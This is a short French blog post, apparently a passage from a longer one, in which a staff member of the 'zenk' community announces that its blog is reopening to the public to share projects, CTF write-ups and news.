Je vous l’ai expliqué plus haut cette restriction d’accès nous semblait nécessaire pour nous protéger, mais nous n’avons jamais oublié notre volonté de partager avec tout les curieux qui peuplent le web.

Aujourd’hui c’est comme une renaissance pour zenk, nous allons à nouveau partager avec le monde entier (enfin au moins ceux qui voudront bien nous lire ^^), c’est important pour nous.

De plus avec ce blog nous allons augmenter notre visibilité et nous espéreront bien susciter de l’intérêt pour notre communauté, accueillir de nouveau membre pour renforcer notre dynamique de travail collaboratif et faire de nouvelles rencontres.

Ce blog est aussi un moyen de publier nous travaux une fois qu’ils sont aboutis, les writte-up des CTF auquel nous participons et toutes les petites news qui nous semblent importantes.

Pour le moment le blog est pour ainsi dire sans contenu, il n’y a que mon blabla de membre du staff névrosé, mais ça va se remplir petit à petit, dans la joie et la bonne humeur.

Merci de m’avoir lu et bon surf parmi nous.

Caracole